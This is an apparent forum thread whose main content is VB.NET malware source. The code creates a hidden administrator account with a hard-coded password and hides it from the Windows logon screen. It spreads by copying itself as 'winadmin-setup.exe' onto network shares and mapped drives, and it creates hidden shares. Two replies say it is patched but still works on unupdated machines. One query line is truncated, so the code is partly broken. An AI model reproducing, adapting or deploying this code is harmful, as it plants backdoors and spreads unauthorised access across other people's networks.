[Tafelpoot]

Code

Imports System


Imports System.Collections.Generic


Imports System.Text


Imports System.Windows.Forms


Imports System.IO


Imports Microsoft.Win32


Imports System.DirectoryServices


Imports System.Management

Module laan

    Public [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)

    Public Function chkIt() As Boolean

        Dim regstr As String = DirectCast(Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Universal", "Universal", "Universal"), String)

        If regstr = "Universal" Then

            Return True


        Else


            Dim key As RegistryKey = Registry.LocalMachine.OpenSubKey("Software", True)

       Dim newkey As RegistryKey = key.CreateSubKey("Universal")

            newkey.SetValue("Universal", [me])

            Return False

        End If

    End Function

    Public Sub UniversalUser()

        Try


            Dim ad As New DirectoryEntry("WinNT://" & Environment.MachineName & ",computer")

            Dim usr As DirectoryEntry = ad.Children.Add("Universal", "user")

            usr.Invoke("SetPassword", New Object() {"Universalwashere"})


            usr.CommitChanges()





            Dim de As DirectoryEntry


            de = ad.Children.Find("Administrators", "group")


            If de IsNot Nothing Then


                de.Invoke("Add", New Object() {usr.Path.ToString()})


            End If





            Try


                Dim rkey As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"


                Registry.SetValue(rkey, "Universal", 0, RegistryValueKind.DWord)


            Catch er As Exception


            End Try


        Catch ex As Exception


        End Try

    End Sub


    Public Sub Share()


        Try


            Dim shares As New ManagementObjectSearcher("select * from
            For Each serv As ManagementObject In shares.[Get]()


                Dim shareName As String = Convert.ToString(serv("Name"))

                If Not shareName.Contains("$") Then

                    File.Copy([me], ("\\" & Environment.MachineName & "\") + shareName & "\winadmin-setup.exe", True)


                End If


            Next


        Catch ex As Exception


        End Try








        Try


            Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\"


            Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)


            For Each valuename As String In reg.GetValueNames()


                Dim path As String = reg.GetValue(valuename).ToString()


                If valuename.ToLower() <> "mrulist" Then


                    Try


                        File.Copy([me], path & "\\winadmin-setup.exe", True)


                    Catch er As Exception


                    End Try


                End If


            Next


            reg.Close()


        Catch er As Exception


        End Try


    End Sub


    Public Sub CreateShare(ByVal dir As String, ByVal name As String)





        Try


            Directory.CreateDirectory(dir)


            Dim managementClass As New ManagementClass("Win32_Share")


            Dim inParams As ManagementBaseObject = managementClass.GetMethodParameters("Create")


            Dim outParams As ManagementBaseObject


            inParams("Description") = name


            inParams("Name") = name


            inParams("Path") = dir


            inParams("Type") = &H0


            outParams = managementClass.InvokeMethod("Create", inParams, Nothing)


            If CUInt((outParams.Properties("ReturnValue").Value)) = 0 Then


                If Directory.Exists(dir) Then


                    Dim d As New DirectoryInfo(dir)


                    d.Attributes = FileAttributes.Hidden


                End If


            End If


        Catch e As Exception

        End Try


    End Sub


End Module

[Heisenberg Walter White]

Yes but it doenst work anymore, it has been patched by Microsoft.

[зяяоя]

Yes, but this will only work on computers that have not downloaded the updates.